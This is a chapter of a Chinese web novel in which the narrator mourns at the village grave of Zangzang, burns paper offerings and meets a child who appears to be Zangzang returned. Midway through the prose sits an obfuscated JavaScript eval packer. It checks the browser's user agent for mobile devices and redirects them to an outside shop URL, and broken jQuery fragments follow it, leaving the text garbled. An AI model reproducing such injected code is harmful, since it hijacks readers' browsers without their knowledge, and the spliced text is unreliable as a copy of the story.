乡间道路磕绊。
纵使村道修建多次，到底是比不了高度现代化的城市，老公交颠簸门窗叮咣作响，可能乡下还要冷，某些地方仍有堆成小山的积雪。
黑白灰交杂，几根稻草枯愣截向半天空，地面覆了层白色地膜，有些地方被风吹破，路边瞧不见半个人影。
我们这里有周年、整年祭拜烧纸的风俗，但我来得有些早，天还没蒙蒙亮所以几乎见不到卖黄纸的小摊，虽然以往几年也没给臧臧烧些什么，但我梦到了他，总归不好再提着一堆零食过去。
会嫌哥哥无聊吗？臧臧。
好在大道两边开着家小卖部，我一说要黄纸，又提出一袋金元宝，老板询问逝者年龄，我含糊说了个十几岁，紧接拿出几盒用纸扎的玩具与游戏，再到当下新款的手机。
“满减优惠，小孩都喜欢，来套？”
老板笑得满脸褶子。
所以，如果你收到某款序列到二百的超级水果手机，也不用太惊讶。
整年过去，打火机缺油，我按了好几次才冒出火星子，一张张往铜盆里面放，橘黄火色卷得黄纸枯萎，就像日渐衰老的容貌：哥哥也怕老，臧臧。
“等百年，你还会认得哥哥么？”
我半蹲，过了会儿盘腿坐下，哪怕泥土沾满衣物也毫不在意，一点点除去石碑根部生出来的杂草。
拔了会儿，我停住手，目光落到石刻的名字。本以为自己会嚎啕大哭、崩溃以头抢地，谁料还能平静地同臧臧说了面包店老板娘的事情。
“牛牛包有点咸，她换掉配方。”
“臧臧不喜欢咸味，我没再买了。”
“小熊都很乖，你最爱的那只总是往地上跑，可能它想见你，我带它来。”
毛绒玩偶摆在光秃墓碑前，映衬灰色天空暗沉，它向来卷翘翘的毛发蔫巴巴耷拉着，清晨朝露厚重，豆豆眼覆盖潮气，看起来像在哭。
我看看它，又看看墓碑。
可能我潜意识里，仍抗拒把墓碑跟臧臧相连，曾经的曾经，大概是他高二时的某次月考，臧臧学校发生一起不太好的事情，即便那位学生被救回来，臧臧却忘不掉千钧一发时，如果他没抓住同窗的手，是不是就要目睹一桩惨案。
“如果我死了，不想躺棺材。”隔着通讯信号略差的电流，臧臧声音都有些失真，他无视我冷然呵斥继续说。
“如果我比哥哥早一步离开，我想变成灰……随便撒哪里都好。”臧臧躲进被子里，讲话闷闷：“不要丢下臧臧。”
不要丢下臧臧。
严格来说，这是他第一次，同样也是最后一次，提及生死时的愿望。因为我对他母亲的妥协，所以他这十年来都不肯来梦里看我哪怕一眼。
“臧臧。”
铜盆里的黄纸翻涌、挣扎、枯败。
我望向远远村落，寒冬天的太阳照出缕缕炊烟，这是我故乡，是臧家曾经的祖坟，土地养出大批大批背井离乡的人们，臧臧不属于村落，是他母亲对臧家祖坟带有荒唐可笑的执念
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14176255|150589||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
如果往常，我会在这里一坐便是整天，絮絮叨叨说些有的没的话，等太阳落山才会拖着疲惫身体回去，用着短暂几小时换整年戒断。
今天我却不想走。
走去哪？
“借哥哥靠一会儿，臧臧。”我靠在冰冷石碑，手贴在铜盆边，微不足道的热意短时间无法浸透冻到麻木指尖。
我歪着头，石碑竟隐生烫意。
深冬融雪腊月天，我却越来越热。
有上学的孩子跑来，见这边靠坐个大活人，吓得都放慢走路的速度，唯独有特殊的孩子偏离大部队，循正常步速过来，毫无惧怕之意。
他唇红齿白，眉眼生得秀气，脸庞没有半分因寒冷而冻出的红团，模样精致如方才小卖部挂在墙上的年画娃娃。
只是他情绪不太好，始终蹙眉，凝视我五官，视线落向我戴在无名指上的臧臧手做的戒指与旁边小熊，眼中惊讶顿现。
“……”
我以为他没见过男款对戒，默默用外套的袖口挡住。
谁料那小孩突然蹲下，轻轻握住我的手，水汪汪的大眼睛眨也不眨，他张张嘴想开口，但先呼出团气，模糊掉水墨五官。
他眼底似乎有片刻茫然，抬头看看周围，又反手摸摸自己的后背。
动作细微，再加他骨架瘦小，起初我并未看清，下秒，他拉起我的手，掌心轻贴住他侧脸。
伴随笑容出现的，还有一句。
“哥哥，臧臧想吃青苹果。”